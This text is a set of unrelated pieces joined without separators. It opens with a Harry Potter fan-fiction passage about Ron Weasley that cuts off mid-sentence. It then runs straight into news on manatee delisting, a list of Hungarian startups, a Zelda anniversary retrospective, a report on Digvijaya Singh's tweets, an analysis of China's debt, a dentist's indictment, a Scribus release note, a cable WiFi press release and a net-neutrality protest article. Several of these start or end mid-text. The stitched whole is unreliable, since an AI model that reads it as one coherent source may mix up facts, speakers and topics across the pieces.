He would put in a solid year as an Auror and then he'd ask Hermione out, when he'd saved enough money to court her properly. No one knew this, because he honestly didn't want to hear people's opinion of it. No, his plan would work without interference, he was positive. He only had three months to go, he could wait three more months.
Ron looked at the journal. He had tried to write in it when it was first given to him after the final battle, but he felt stupid. In his night-table drawer it went, and that's where it stayed for over a year. Perhaps if he just wrote his dreams down, maybe that would help, he thought briefly.
"I'll write in the morning. Thanks to you, I can barely keep my eyes open." Ron said, but there was no bite in his tone. He knew she was only trying to help. Ginny grabbed his hand.
"I'm sorry, I won't do it again." She leaned over and kissed his forehead. Ron squeezed her hand.
"It's all right," he yawned, and was already rolling onto his side to snuggle into sleep.
"Ron?" Ginny called from near the door.
"Yeah?"
"Where did you and Harry go a couple weekends back?" she asked, quietly.
"Hmm? Oh we went to…hang on…" Ron rolled over and peered at her.
"That's pretty sneaky, taking advantage of me when I'm sleepy! We were doing guy stuff and that's all you need to know!" He rolled toward the wall again.
"I wasn't trying to take advantage, just asking a question," Ginny snapped. Ron grunted his disagreement. "Honest! Besides, what does "guy stuff" mean anyway? Were you out scratching your bollocks and making rude bodily noises?" Ron, though he still had his back to her, knew she had a smirk on her face.
He made a very loud, very smelly, rude noise with his body and said, "That's exactly what guy stuff means." Ginny practically ran from the room with squeals of disgust, to Ron's sleepy chuckles.
"G'night, Gin" He shouted, with a laugh, then thought that he should go and thank her for helping him through the nightmare, but he was already fast asleep before he could even roll over.
Morning dawned bright, and Ron was moving at a snail's pace. The journal fell from the bed as he stood to make his way to the loo. Staring at it for a long moment, he knew he should write down the dream, or at least his thoughts of it while they were fresh in his mind.
Grabbing a quill and ink, within a short span of time, Ron had filled two complete pages. He'd summarized what he thought the dreams were about or what he thought they meant. Upon reading over it, he realized that he had written mostly feelings and not actions.
He'd written that he'd felt scared, and angry, and sad as he held Hermione in his arms, but described nothing of what he actually did, nothing about running with her limp body, nor the fact that he dreamt as Harry this time. Those things were prevalent in his dream, though they didn't seem to matter when he was writing what he thought was important. Maybe…Ron's thoughts were interrupted by a hasty knock on his bedroom door.
"Yeah," he answered.
"Are you going in the shower anytime soon?" Ginny yelled from the other side of the door then seemed to think better of it, and opened it. Her face morphed into a disgusted expression and she scrunched up her nose as she looked around.
"My lord! What is that smell? That can't be you, can it?" She put her hand over her mouth and nose.
"What do you mean, that can't be me? I don't stink!" Ron shouted, and raised his arm to get a whiff of his pit. He was a bit musky from sweating in his sleep, but not too foul.
"Cor blimey, Ron! Have you been in here blowing off all night?" Ginny asked, backing out of the room, but she bumped into Mrs. Weasley who was on her way in.
"Ronnie dear, can you…" her face pinched dramatically. "…dear lord, it smells awful in here."
"Told you so!" Ginny sang. "He's immune to it, Mum, nose refuses to smell it any longer, I expect." She giggled behind her hand. Ron's ears were getting redder by the second.
"Oh hush, Ginny." Mrs. Weasley chastised, seeming to sense her son was going to thump his sister any moment.
"If it's smelly in here, it's your fault, Mum!" Ron said, gathering his belongings for the shower.
"Mine?" Molly looked at him, affronted.
"Your dinner didn't agree with me obviously!" Ron snapped, not liking that they both could smell something that he could not.
"You're perfectly welcome to cook your own food, you know!" Mrs. Weasley snapped right back at him, then whipped out her wand and a fruity aerosol burst from the tip.
"AWWW!" shouted Ron. "You got it in my eye, Mum!" He doubled over clutching his eye. "Fuck!"
"Watch your language, Ronald!" she scolded, as she stepped into the room to check his eye. "I think getting blinded calls for a bit of harsh language, Mum!" he whinged.
"Oh hush, you are not blind." Ron winced as his mum pulled his hand away and quick as a flash shot him in the eye with a blast of cool liquid, making the burning stop instantly.
"Shut it, Gin!" he shouted to his snickering sister. Mrs. Weasley aimed her wand higher in the air this time and sent the fruity spray about the room again.
"Hurry up Ron, I need you to drop off your father's lunch to him, he's forgotten it again."
"Mum," Ron groaned. "I'll barely have time to eat my breakfast if I do. Can't Dad eat at the Atrium canteen?" Mrs. Weasley fixed her son with a look that said there would be no way in hell her husband would be eating food at a canteen when she had prepared a perfectly good meal for him herself.
"You will take your father his lunch, and I will make you a few egg and bacon sandwiches to take with you for breakfast."
"Fine, but you've got to do something about dad and his forgetfulness." Ron stomped out of the room and headed to the shower.
Ron quickly approached his father's office. Checking his wristwatch, he noted that he had roughly ten minutes before he needed to be in the Auror department. Today they were doing physical training and he always liked to have at least twenty minutes to warm up. That was not going to be the case today. Having devoured three egg and bacon sandwiches in less than five minutes, he'd consider himself lucky if he didn't retch halfway through training.
"Dad," Ron said, as he pushed open his father's office door. "You forgot your lunch again, Mum said—" Ron stopped speaking as he noticed his father was not alone. A stout man with thick gray hair stood before Arthur Weasley's desk with a young woman who favored the man enough to let anyone know that she had to be his daughter. Fortunately for her, she had enough differences that she could still be considered pleasant looking.
As all attention was pulled to Ron, he mumbled, "Sorry."
"Ron! Good to see you, son. Come in." His Dad beckoned with a warm smile. "Mr. Albert Buckenheim, this is my youngest son, Ronald." Ron stepped further into the room and took the man's extended hand. It was a hearty hand shake and Mr. Buckenheim's meaty fingers gave Ron's long ones a hard squeeze. Physically, he reminded Ron of an Auror that he knew named Douglas, but this man had kind eyes and Douglas was an arse.
"Nice to meet you, Sir." Ron said, and turned to the young lady in the room. He nearly gave a jolt when he met her eyes, for the petite blonde witch was gazing up at him as if Christmas had come early.
"This is my daughter, Daphne." Mr. Buckenheim stated, seemingly oblivious to his daughter's dreamy stare.
"Nice to meet you," Ron said, and shook her hand as well. Her bright green eyes never left Ron and she seemed unable to speak. Ron shot his father a glance, and found him looking rather amused by it all.
"Mr. Buckenheim just moved here from the States. He will be over seeing the entire Muggle Affairs Department. He's my new boss," Mr. Weasley said, and Ron nodded with a small smile.
"Well, it was nice meeting you both. I've got to get to work. Here you go, Dad." Ron handed his father the bag lunch and smiled once more at the other occupants of the room, then he turned to leave.
"Aw, excuse me, young man…" Ron stopped and turned again to Mr. Buckenheim.
"Yes, Sir?"
"My poor Daphne has been cooped up under me for the last week and a half since we moved here. I'm sure she's tired of looking at old people all day," he chuckled. "Do you think it possible for her to go see where you work for a bit, maybe an hour or so? Just until I finish here with your father? You do work in the building, correct?" Ron openly gaped at the man.
"Er…um…yes Sir, I do work in the building, but she can't come with me." Mr. Buckenheim was visibly taken aback and Daphne's smile vanished instantly.
"Ronald's an Auror, Albert." Mr. Weasley chimed in.
"Is that so?" Mr. Buckenheim's chest puffed up a bit and if possible, Daphne looked even dreamier.
"Yes, Sir. I'm not allowed to bring civilians into the department, besides, I'm going to be in physical training all morning and will not be able to leave," Ron said, relieved for having a valid excuse. Daphne looked positively deflated at the news. "I'm sorry, I wish I could show her around," Ron lied, "but it really is impossible, right now."
"Well, how about tonight? She needs to learn the area and make new friends," Buckenheim called out, and Ron looked quite thunder struck.
"Er…um…well," he stammered.
"It'll only be for a few hours. I have a meeting tonight, and I'd hate for her to be in that big house all alone. Mrs. Buckenheim passed four years ago, so it's only us now."
Ron was trapped. He didn't want to be rude, but he did not want to take out this girl. He wanted to take out Hermione, and only Hermione! Though this was not a date, he still felt if he was going to be out at night, with a girl, it should only be Hermione. One glance at his father's silently pleading eyes let Ron know that he was going to have to do this.
"Erm…sure." Daphne let out a tiny squeak and clapped her hands.
"Great! I'll leave my address with your father and you can pick her up at six." As if that settled it, Mr. Buckenheim turned back to Arthur and began going over the parchment they were discussing before Ron came in. With a final glance, Ron gave a half hearted wave to an overly excited Daphne, and shot his father a deadly glare before he left the room.
This day had started out terrible for Ron. First his mother and sister tell him that he stinks, or at least his room does, then he gets roped into a date with a girl that he did not want to go out with. To make matters worse, he got his arse kicked in training by Dixon, a girl half his size, and then he retched! It was humiliating.
Now he was angry and tired, but he had to take that girl out and he had no clue where to take her or what to show her. Ron burst into the front door of the Burrow like an angry bull, nearly startling his mum to death. He went straight for the cupboard, got a butter beer, chilled it and swallowed it down in practically one gulp. He reached for another one.
"Ronnie, don't ruin your appetite. Dinner will be ready in a bit." Molly said, pulling the bottle from Ron's hand.
"I won't be at dinner," Ron said, pulling the beverage back from her and guzzling it.
"Why not?"
"Didn't Dad tell you? I have a date!" Ron shouted angrily.
"Really? With who?"
"His boss' daughter! Merlin, Mum, you should have seen how she was gazing at me…like…like I was a piece of meat! She'll be all over me on this bloody date! She'll probably—"
"Hi, Ron!" Ginny called nervously from the sitting room. Ron turned and nearly passed out, for she was sitting with Hermione and the look |
That's been of concern.
Federal and state regulations target speeders in manatee zones and have a "positive impact," Gil McRae, head of the state's Fish and Wildlife Research Institute, told CNN earlier this year.
Christina Martin, an attorney for the Pacific Legal Foundation, said the decision to remove manatees from the endangered list was years overdue.
Her organization represents Florida residents who formed Save Crystal River.
"I am glad the federal government is finally formally acknowledging what its experts first recognized one decade ago: The manatee is on the mend and no longer in danger of extinction," Martin said in a statement.
"This is a victory for our client, Save Crystal River, Inc., a group that is restoring habitat in the river and pursues government accountability. This is also a victory for everyone who believes that the government must follow the requirements of the law.
Manatees swarm at the Three Sisters Springs in Florida's Crystal River.
The US Fish and Wildlife Service said government, industry and residents are making a difference by reducing manatee deaths and increasing access to natural springs.
Part of the government's job, McRae said, is to make conservation improvements that get species reclassified as soon as possible.
Still, animal groups say the species faces too many dangers.
The Save the Manatee Club said it wants the US Fish and Wildlife Service to update its manatee recovery plan and bring back recovery teams. And the Center for Biological Diversity said the threats from boat strikes and habitat loss persist.10 Hungarian Startups and Companies to be Excited About at Web Summit Dublin 2015
The 2015 edition of Web Summit Dublin is upon us so we gathered ten Hungarian companies to look out for at the event. Meet them there!
Kifly
Kifly’s mission is to give travelers the power within the Kifly Mobile App to make the world more open and connected by sharing their moments on the fly.
Flike
Flike is a revolutionary, all-electric personal flight device under development in Hungary. For the techies: it is a coaxial, Y6-layout tricopter, which means that the lift is generated by six rotors, grouped in counter-rotating pairs of three axes, equally located around a circle.
Ximein
Ximein adds commenting and user rating to web pages. Web pages with Ximein button have a commenting layer, that you can open with clicking the button.
BookRKids
BookRKids it’s the newest and pretty entertaining form of reading and will revolutionize how your children are reading fairy tales.
RisingStack
Empowering businesses to be successful with Node.js by trainings, consulting and development. Based in Europe, operating worldwide.
DebugMe
Yes, we will be also present in Dublin. Did you ever feel that business people and developers just don’t speak the same language? We believe they do, the language of visuals. DebugMe is a visual feedback, bug tracking & project management solution which saves time and frustration for web developers, project managers & designers. Try our tool now and say hi to us later at our booth!
Droid PCB
Droid PCB is a printed circuit board designer program for Android.
Evermore
Evermore is a digital agency specialized in custom web solutions and applications. They are striving for a perfect balance in our lives, found between work and fun.
Neon Smart Home
Control your home from anywhere, anytime, easier than ever before. You just need your phone and your smart connected devices. Simply plug it in to install, set the rules and you are set for a whole new level of experience in the world of smart homes.
Story2Go
Story2Go is the interactive publication creator that enables individuals or companies to create stunning projects in a unbelievably easy editor. The software is available on Mac and iPad and lets you easily add interactivity with 18 combinable effect, texts, sounds, and even frame animations. Don’t just tell your story, impress with it.
You are reading the DebugMe blog. We are developing a visual feedback, bug tracking & project management tool which saves time and frustration for web developers, project managers & designers. Give it a try, it’s free forever! Or purchase one of the professional packages now and save 50% in the first three months.Share. In celebration of Zelda's 25th, we're looking back at the U.S. debut of Link's original adventure. In celebration of Zelda's 25th, we're looking back at the U.S. debut of Link's original adventure.
Today is The Legend of Zelda's 25th anniversary - well, its second 25th anniversary anyway. As you might recall, Nintendo made a big deal out of celebrating that milestone all throughout last year, with several free game giveaways, a snazzy art book and even a major symphony concert series that's still touring the States. But today is Zelda's 25th anniversary in America, as Link's original adventure went on sale in the USA back on August 22, 1987.
It seems appropriate to celebrate that particular moment too – even in the wake of Nintendo's grandiose celebration of the game's Japanese launch – since the North American debut of the game established so much of what has become enduring and iconic as the Zelda franchise has continued. The game we got in 1987 wasn't entirely the same as what Japan's fans received in '86, and those little tweaks and changes made all the difference in how Hyrule was able to draw in new players from around the globe.
Saving the Princess, Saving Your Progress
Let's start with the physical format of the game itself. The Legend of Zelda wasn't a cartridge-based game to begin with – in Japan it debuted as "The Hyrule Fantasy: Zeruda no Densetsu" on a floppy disk, the medium of choice for Nintendo's Famicom Disk System. The Disk System was an add-on peripheral for the base Famicom unit, and attaching it turned the 8-bit game machine into a bit more of a computer – which, among other things, enabled games to save their progress.
But America never got the Disk System. So, as Zelda was making the transition across the Pacific, Nintendo of America had to physically rework the game to function from within a normal cartridge housing. The result was some different sounding music, though that was nothing too drastic – the game still sounded great here. But the real difference came with the save system – in order for American adventurers to be able to save their place the same way Japanese gamers had, NOA essentially had to invent an all-new method of on-board data storage for its cartridges.
So every copy of The Legend of Zelda that shipped into US stores 25 years ago came equipped with a little battery inside, facilitating the ability to put down the controller and power off your NES partway through the journey to rescue the princess. (Nintendo's official line was that the battery would last for five years, but my personal copy has never lost its save data.)
It may seem a simple thing today, saving your game in progress, but it was a huge innovation for the console gaming industry, and it changed the direction of 8-bit game design forever. With the ability to stop and start an adventure at will, game makers pushed forward with making lengthier, more in-depth quests.
Setting the Gold Standard
It might've been easy to miss the magic happening inside the Zelda cartridge's plastic case, though, as the outside of it was just so shiny. That was another major change Nintendo of America made as the game came into our country – it got a special golden paint job.
"The Hyrule Fantasy: Zeruda no Densetsu" didn't really stand out visually from other game releases in Japan in 1986, as it shipped on an essentially normal disk with standard package art. The art was great – it depicted Link kneeling, sword and shield at the ready, in front of a painted map of Hyrule. But NOA wanted something more epic. Something more eye-catching.
So America got the gold. The Legend of Zelda became the first to earn the rare honor of a special paint job on its cartridge plastic, shining with a brilliant golden luster the moment you saw it on the store shelf. And NOA made sure you could see straight through to the cartridge, too, by teasingly cutting out a small portion of the box's cardboard in the upper left corner – it let fans take a peek inside and see for themselves that the game within was no normal game at all. Soon after, a trip to the cash register was made by millions.
This pioneering presentation in paintwork has been repeated only a few times in the 25 years since. Later Zelda sequels like The Adventure of Link and the Collector's Edition of Ocarina of Time also got golden cartridges, while Pokemon fans are perfectly familiar with the fact that their series of choice began with Red and Blue Versions that lived up to their names – not to mention the Yellow, Gold, Silver and others that came later. Some other companies have tried the technique themselves over the years – the SNES Spider-Man & Venom: Maximum Carnage shipped on a blood-red cartridge, for example. But the Big N itself has been reserved with the practice, letting you know you're holding a truly special game when you pick up a title that isn't the standard black or grey.
The Invincible Pols Voice?
The changes made to get The Legend of Zelda to America weren't all related to the physical cartridge and its packaging, of course – there is the translation of the game's text to English to consider too. The lines that Nintendo's localization team came up with have arguably had even more of a lasting impact than the technology shift of battery saves or the golden paint – they've become absolutely ingrained in gamer culture. Quoted by every Nintendo fan, memorized by millions.
"It's dangerous to go alone. Take this." Spoken by the first Old Man encountered in the first cave, handing Link his first ever sword.
"It's a secret to everybody." Said by the Moblin whose hidden den you could uncover in the overworld, right before he rewards you with free Rupees.
"Eastmost penninsula is the secret." Well, actually, that one's just nonsense. In the Japanese version, the same character who says that actually gives you a useful hint about arrows instead of that spelling-error nonsense.
Probably the most interesting in-game change that was made, though, was when Nintendo of America had to compensate for another hardware discrepancy between regions – though they didn't seem to let the team working on the instruction manual in on it. In the manual, in the bestiary introducing you to Hyrule's many different enemies, there's an entry for the rabbit-looking Pols Voice that clues you into its weakness for loud noises. Makes sense, right? The thing has huge ears. So when you come across the creature in a dungeon and remember that hint, you naturally try to kill it by using Link's whistle.
But nothing happens. The Pols Voice just keeps bouncing around. It turns out that that clue actually was properly translated, but it was meant to direct gamers to the built-in microphone on the Famicom's second controller – Japanese players could blow or yell into the mic to take down Pols Voice and move on. America's NES controllers were built without that microphone, though, so there was no way to leverage that weakness. The beast might still have been weak to noise, but we had no way to scream at it.
Thankfully, NOA added a new weakness for Pols Voice – one shot from an arrow takes them down easily.
And those, Zelda fans, are just a few ways that Link's original adventure was altered for its arrival in America. If you're new to Zelda, hopefully this educated you a bit about the past. And if you're a longtime follower of the franchise, well, you probably knew all these facts already – and if so, join us in toasting the game's 25th American anniversary.
Lucas M. Thomas is going to go fire up his old Zelda cartridge and check to see if his save data actually is still there. You can follow him on Twitter.— digvijaya singh (@digvijaya_28) February 15, 2015
Attacking the RSS, the Congress leader said that he was called names when he had earlier said that the Sangh was behind Anna Hazare movement's as well.
The AAP had won 67 of the 70 seats in Delhi decimating Congress and leaving only three seats for the BJP.
NEW DELHI: Congress on Sunday sought to give a new twist to AAP's victory in the Delhi polls with party general secretary Digvijaya Singh saying Arvind Kejriwal is part of the overall plan of RSS for a "Congress Mukt Bharat"."Kejriwal is a part of the overall plan of RSS for a Congress Mukt Bharat. I know I would be abused by both RSS and Kejriwal fans," Singh tweeted.Kejriwal took oath as the eighth chief minister of Delhi yesterday after winning with a thumping majority in the delhi assembly polls.Kejriwal is a part of the overall plan of RSS for a Congress Mukt Bharat. I know I would be abused by both RSS and Kejriwal fans."When I said RSS was behind Anna Movement, no one believed me I was called mad. But ultimately I was proved right and I would be this time too," he tweeted.Aam Aadmi Party (AAP) president Arvind Kejriwal greets supporters during his swearing-in ceremony as Delhi chief minister in New Delhi. (TOI Photo by Sunil Kataria)Between 2000 and 2014 China’s total debt grew from US$2.1 trillion to US$28.2 trillion, an increase of US$26.1 trillion — greater than the GDP of the United States, Japan and Germany combined.
For over three decades, China has experienced a staggering public investment boom. In 2014, China spent US$4.6 trillion on fixed assets, accounting for 24.8 per cent of total worldwide investments and more than double the entire GDP of India. But China’s investment boom has coincided with a rapid build-up of debt. Between 2000 and 2014 China’s total debt grew from US$2.1 trillion to US$28.2 trillion, an increase of US$26.1 trillion — greater than the GDP of the United States, Japan and Germany combined.
China’s investment boom has heaped on a great wall of debt that now threatens the hard-fought prosperity of the country. Unless China shifts to fewer and higher-quality infrastructure investments, the country is headed for an infrastructure-led national financial and economic crisis, which is likely to spread to the international economy.
This reality is illustrated by a new analysis of 95 large Chinese road and rail transport projects and 806 transport projects built in rich democracies. A typical Chinese infrastructure investment suffers cost overruns and benefit shortfalls so large that they destroy economic value. In China actual infrastructure construction costs are on average 30.6 per cent higher than estimated costs, in real terms, measured from the final business case — which is in line with global trends. The evidence is overwhelming that costs are systematically biased towards underestimation.
With respect to traffic performance, demand in China represents two extremes. A majority of the routes witness paltry traffic volumes but a few routes are highly congested. Too little and too much traffic of this magnitude indicates significant misallocation of resources.
In our sample, over half the projects had an ex post benefit-to-cost ratio lower than 1.0, meaning that these projects were economically unviable at the outset of their operational lives. Less than a third of our sample could be considered genuinely economically productive.
The pattern of cost overruns and benefit shortfalls in China’s infrastructure investments is linked with China’s growing debt problem. We estimate that cost overruns have equalled approximately one-third of China’s US$28.2 trillion debt pile. China’s debt-to-GDP ratio stands at over 280 per cent, exceeding that of many advanced economies and all developing economies for which data is available.
Our revised calculation of China’s implicit government debt as a proportion of GDP suggests that China’s government is the second-most indebted in the world after Japan. Extraordinary monetary expansion has accompanied China’s piling debts — China’s M2 broad money grew by US$12.9 trillion in 2007–13, greater than the rest of the world combined. The result is increased financial and economic fragility.
Less is more when it comes to infrastructure investments. Infrastructure supports economic development if the investments are productive. This big ‘if’ is all too often ignored in policy debates leading to the predicament in which China now finds itself. Our findings suggest that had China focused on about a third of its most productive investments it would have reaped lasting economic benefits without the debt overhang it is currently suffering.
A puzzling feature of debates regarding the rapid build-up of debt is that many economists condone such profligacy. Noble laureate Paul Krugman has increasingly encouraged countries to take on debt. Similarly, Nicholas Lardy makes little of China’s alarming great wall of debt.
New-Keynesian arguments that see large public debt as benign are misguided. A Keynesian stimulus can be necessary to push the economy forward during a crisis. But the investments still need to be productive to avoid accruing liabilities that do not generate sufficient benefit streams such as end-user fees or tax revenues.
Moreover, to use such stimulus on a more or less continuous basis to drive a high national growth rate is ill-judged. This is especially the case if the stimulus is debt-financed like it is in China. Incurring this level of debt to fund infrastructure is destabilizing. Negative macroeconomic impacts include volatile movements in interest, exchange and inflation rates, unpredictable movements in asset prices, adverse growth outcomes, rising unemployment from deleveraging and a lack of capital to finance productive investments. Several of these negative consequences are already materialising in China in 2016.
China’s debts are owed in large proportion to its own thrifty households. The numerous and dispersed creditors thus face state-owned and powerful debtors. Given the authoritarian nature of the government, Chinese state-owned debtors may hesitate little in raiding the savings and pensions of their own population. China may avert a spectacular financial crash, but financial repression of the more insidious variety of its domestic creditors will be unavoidable to liquidate its debts.
China’s total per capita debt now stands at above US$20,000. The multiple of per capita debt to per capita annual income for China is 11.5, far greater than that of the US (7.5) or Brazil (8.1) and in line with that of Greece (11.8). Since 2009, Greece has been in the midst of one of the worst sovereign debt crises of recent memory that has hit poorer households particularly hard. Other countries with similarly large per capita debt-to-income multiples, such as Spain and Japan, are undergoing debt-induced economic stagnation.
China has an ageing population with a relatively low level of wealth. Yet China’s social safety net and pensions system are far less developed than in advanced indebted economies. To prevent a stagnant economy requires China to become more productive with its investments.
China’s scale and an unrestrained approach to the printing of new money have allowed it to service debts that few other economies could shoulder. Developing economies — even large ones such as Nigeria, Pakistan or Brazil — would be imprudent to play with Chinese fireworks.
In China, liabilities can be rolled over for a considerable time, for instance by the central bank’s willingness to provide additional funding to state-owned banks to prevent default. This hides financial fragility for the time being, and as the carousel of credit goes around, observers may interpret the system to be one happy affair. Until the wheels come off.
Atif Ansar is a Fellow of Keble College and Programme Director of the MSc in Major Programme Management (MMPM) at the Saïd Business School, University of Oxford.
Bent Flyvbjerg is the first BT Professor and inaugural Chair of Major Programme Management at Oxford University’s Saïd Business School and a Professorial Fellow of St Anne’s College, University of Oxford.
The conclusions reached in this article are based on analysis by Atif Ansar, Bent Flyvbjerg, Alexander Budzier, and Daniel Lunn in the recent publication Does Infrastructure Investment Lead to Economic Growth or Economic Fragility? Evidence from China (Oxford Review of Economic Policy, 2016).
This first appeared in East Asia Forum here.Bilal Ahmed hides behind an envelope as he leaves court with his lawyers, Peggy Bennett and Barry Coburn, on Jan. 28, 2016. He is accused of sexually assaulting three patients while they were anesthetized. (Keith Alexander/The Washington Post)
A former Washington dentist who allegedly sexually assaulted three patients while they were anesthetized was indicted Tuesday, prosecutors said.
In 2014, Bilal Ahmed, 44, of Potomac was treating a male patient at Universal Smiles DC in the 2300 block of M Street NW when the patient, after being administered nitrous oxide through a face mask, realized Ahmed was sexually assaulting him, the U.S. Attorney’s Office for District of Columbia said in a statement.
[Georgetown dentist charged with sexually assaulting patient during procedure]
The patient reported the assault to police, who found two other male patients who said Ahmed sexually assaulted them after treating them with nitrous oxide, the statement said. One of Ahmed’s employees also said the dentist improperly touched him, according to the statement.
Ahmed, who was arrested in January at John F. Kennedy International Airport in New York, was indicted on 21 counts of sexually abusing or otherwise improperly touching former patients and employees in 2013 and 2014, including 14 felony counts of sexual abuse, four misdemeanor counts of sexual abuse and three misdemeanor counts of assault, prosecutors said. His dental license was suspended in April.
Ahmed’s dental practice’s office manager, Mahsa Azimirad, 26, of North Bethesda, who allegedly lied to a grand jury during the Ahmed investigation, was also indicted on one count of perjury, according to prosecutors.
Ahmed and Azimirad pleaded not guilty at earlier court appearances.Open-source, cross-platform desktop publishing package Scribus 1.4.0 has been given a final, stable release, four years after the first developmental version saw the light of day. Over 2,000 feature requests and bugs have been resolved in this new release, which, despite the relatively minor version number jump from 1.3.3.x, is a major new release.
Notable improvements include better object handling, many more advanced options for text and typography, new features for vector objects and better handling of fills.
Feature enhancements to object handling include the addition of transform tools such as found in other drawing packages, which help improve key areas of the program such as the Scrapbook and Image Manager. Typography-based improvements include character styles and optical margins, plus wider support for text-based undo actions.
New vector object features include Boolean path operations and vector effects, while Scribus 1.4.0 adds support for importing a number of vector-based formats, including Adobe Illustrator (EPS and PDF-based), WMF and Macintosh PICT format.
Fill handling is improved via a new pattern fill option, additional gradient types and many new color palettes, as well as support for external formats such as AI and EPS.
The Image Manager has been overhauled with the ability to add non-destructive image effects to inserted images and better support for Photoshop PSD files, including multiple clipping paths and layers.
Other improvements have been made to Scribus’ pre-press features, PDF export and color management. Version 1.4.0 also ships with many more templates than previously supplied, and there’s a new Autoquote script for converting straight quotation marks in a text frame.
Scribus 1.4.0 has also been migrated from the Qt3 to Qt4 application framework, which in layman’s terms means it should now run equally reliably across all supported platforms.
The final build comes around two months after RC6 was released, and over 10 months after the first Release Candidate build was released back in February 2011. Now that version 1.4.0 has made stable release, development has turned to stabilizing the version 1.5.x development branch, with “amazing new features”, including rewritten table implementation and text system, plus support for various iterations of PDF (including native PDF import).
Scribus 1.4.0 is available as a free, open-source download for Windows, Mac (Intel only running OS X 10.5 or higher) and Linux.Show full PR text
Major U.S. Cable Companies Join Forces on WiFi
Bright House Networks, Cablevision, Comcast, Cox Communications and Time Warner Cable Will Share Access to over 50,000 Hotspots, Expand WiFi Availability and Simplify Access for their High Speed Internet Customers
BOSTON, May 21, 2012 (BUSINESS WIRE) -- Bright House Networks, Cablevision, Comcast, Cox Communications and Time Warner Cable today announce that they will enable each other's high-speed Internet customers to access their metro WiFi networks, totaling over 50,000 hotspots. To simplify access, a new network name, "CableWiFi", has been created for subscribers to use when accessing the WiFi hotspots outside their home market. The first implementation is already complete as Bright House Networks and Cablevision launched "CableWiFi" alongside their branded WiFi networks in the New York City area and central Florida earlier this month. Over the next few months, the "CableWiFi" network name will be added by each of the cable companies to their branded WiFi hotspots.
"This effort adds great value to our high speed Internet customers by providing free wireless Internet access on all of their WiFi enabled devices in our markets and additional areas across the country," said Nomi Bergman, President of Bright House Networks.
"We believe that WiFi is a superior approach to mobile data, and that cable providers are best positioned to build the highest-capacity national network offering customers fast and reliable Internet connections when away from their home or business broadband service," said Kristin Dolan, Cablevision's senior executive vice president of product management and marketing. "We've built an extensive WiFi network in our own service area, and see real value and potential in other leading providers joining with us to extend that connectivity to major markets across the country."
Dave Watson, Chief Operating Officer of Comcast Cable added, "Mobility is an increasingly important part of our Xfinity services product roadmap. WiFi technology, coupled with our agreements with Verizon Wireless, are two significant ways we are executing on our strategy to deliver the best in- and out-of-home communications experience for our customers."
"The way customers are using our service continues to evolve," said Jill Campbell, Cox Communications COO. "This is a new area of opportunity that we need to explore."
"We have long been the leading providers of high-speed internet services in our customers' homes. Through our rollout of WiFi and the benefits of this collaboration we greatly increase the value and reach of our high-speed internet service, providing access to broadband outside the home and in cities across the country," said Rob Marcus, President and COO of Time Warner Cable.
When traveling outside their home markets, high-speed Internet subscribers of the participating companies will look for the "CableWiFi" network and through a simple sign-on process connect using the same credentials as when accessing their providers' WiFi networks. In the coming months, users will be able to have their devices auto-connect to the Internet when located in any of the "Cable WiFi" hotspots.
The participating cable operators currently offer more than 50,000 WiFi hotspots located in New York City and the surrounding Tri-State area, Los Angeles, Tampa, Orlando, and Philadelphia. The operators plan to continue to grow the number of WiFi hotspots and expand into several additional cities. The network has both indoor and outdoor WiFi hotspots located in popular, high traffic locations, such as shopping districts, cafes, malls, arenas, restaurants, parks and beaches. Subscribers will be able to find the nearest WiFi hotspots by visiting the WiFi homepage of their current cable provider or going to www.cablewifi.com.
This is the largest and most inclusive WiFi sharing effort among cable operators to date. In early 2010, Cablevision, Comcast and Time Warner Cable entered into an agreement allowing their customers in New York City, Long Island, New Jersey, Philadelphia and Connecticut to access WiFi hotspots offered by each operator in these areas.Demonstrators gather outside of the 31st Annual Chairman’s Dinner to show their support for net neutrality at the Washington Hilton December 7, 2017, in Washington, DC. (Photo: Chip Somodevilla / Getty Images)
With the Federal Communications Commission scheduled to vote on repealing its popular net neutrality rules on December 14, the campaign to save them is going into hyperdrive both online and in the streets. Protests are erupting across the country, including a major rally outside the FCC headquarters in Washington, DC, on Thursday.
Activists are focusing their efforts on Congress, which could still step in and demand that the vote be delayed.
A group of tech leaders and pioneering internet developers, including Tim Berners-Lee, an MIT professor credited with inventing the original World Wide Web back in 1989, sent a letter on Monday to members of Congress who oversee the FCC requesting that they intervene and halt the vote.
“Over 23 million comments have been submitted by a public that is clearly passionate about protecting the Internet,” the experts wrote. “The FCC could not possibly have considered these adequately. Indeed, breaking with established practice, the FCC has not held a single open public meeting to hear from citizens and experts about the proposed Order.”
One of those comments came from authors of the letter, who submitted a 43-page joint comment on behalf of 200 prominent internet developers and pioneers back in July. The comment, which can be read here, claims that FCC Chairman Ajit Pai’s repeal proposal is based on “a flawed and factually inaccurate understanding of Internet technology,” according to the letter.
Pai, a Republican appointed FCC chairman by president Trump, has proposed a sweeping repeal of the 2015 Open Internet Order that gave the FCC power to prevent Internet Service Providers (ISPs), such as AT&T and Comcast, from blocking, slowing and playing favorites with online content. The rules also allow the FCC to regulate the internet more like a public utility that everyone needs to use rather than a luxury for those who can afford it.
Pai says lifting the rules will allow ISPs to offer “innovative” service packages and put more money into infrastructure, but digital rights activists say they are needed to prevent big telecom companies from shaping the internet in a way that would maximize profits and construct barriers to internet access for low-income consumers and minorities.
ISPs tend to be unpopular among consumers, and the same goes for Pai’s repeal proposal, but that has not kept the free-market ideologue from going forward with plans to gut the rules, along with a long list of consumer protections established under the Obama administration.
Republicans in Congress have already used their majority to repeal popular online privacy protections for consumers at the behest of big telecom companies, so it appears unlikely that they would step in to save net neutrality at the last minute. However, lawmakers are more susceptible to public pressure than appointees like Pai. Could Congress be convinced to thwart Pai’s plans, dealing a major blow to Trump’s deregulatory agenda in the process?
The digital rights group Fight for the Future, which has successfully influenced Congress with massive online mobilizations in the past, says net neutrality can still be saved if enough people join online protests and call their representatives in Washington.
“We’re already seeing key lawmakers crack under the pressure and come out in support of net neutrality,” Fight for the Future co-director Holmes Wilson told supporters in a recent email. “We’re organizing a mass online action for the 48 hours before the vote to drive hundreds of thousands more phone calls when we need them most.”
Some members of Congress are speaking out against the repeal, including Sen. Susan Collins, a Republican from Maine. Several progressive house members, including Rep. Maxine Waters and Rep. Keith Ellison, are scheduled to speak at the rally outside the FCC on Thursday. Organizers expect hundreds to attend.
Democrats are calling for a delay of the vote because the FCC has yet to resolve disputes over a large volume of fake comments supporting the repeal supporting the repeal proposal that were submitted to the agency’s docket along with stolen personal information, and activists stay there is still a chance to push lawmakers into action.
